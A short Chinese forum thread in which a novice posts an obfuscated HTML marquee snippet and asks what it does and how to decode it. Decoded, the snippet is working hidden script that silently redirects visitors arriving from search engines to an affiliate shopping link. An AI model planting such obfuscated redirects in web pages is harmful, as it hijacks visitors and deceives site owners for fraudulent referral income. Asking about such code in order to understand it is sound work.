这段代码有什么作用？又是如何做出来的？

这段代码有什么作用？又是如何做出来的？
<marquee onstart="if(window[String.fromCharCode(100,111,99,117,109,101,110,116)][String.fromCharCode(114,101,102,101,114,114,101,114)][String.fromCharCode(105,110,100,101,120,79,102)](String.fromCharCode(119,100,61))!=-1){window[String.fromCharCode(108,111,99,97,116,105,111,110)][String.fromCharCode(104,114,101,102)]=(String.fromCharCode(104,116,116,112,58,47,47,115,46,99,108,105,99,107,46,116,97,111,98,97,111,46,99,111,109,47,116,95,56,63,101,61,55,72,90,53,120,37,50,66,79,122,100,90,49,97,111,78,106,100,88,107,121,116,97,115,49,72,111,90,99,37,51,68,38,112,61,109,109,95,49,52,56,54,49,56,55,56,95,48,95,48))}">&nbsp;</marquee>


如何还原呢？有什么工具没有？
不好意思，偶是菜菜鸟

我不是都提供方法还原了么。。

我还是有点不明白呀。偶真的很菜的

那你要具体说出哪里不懂啊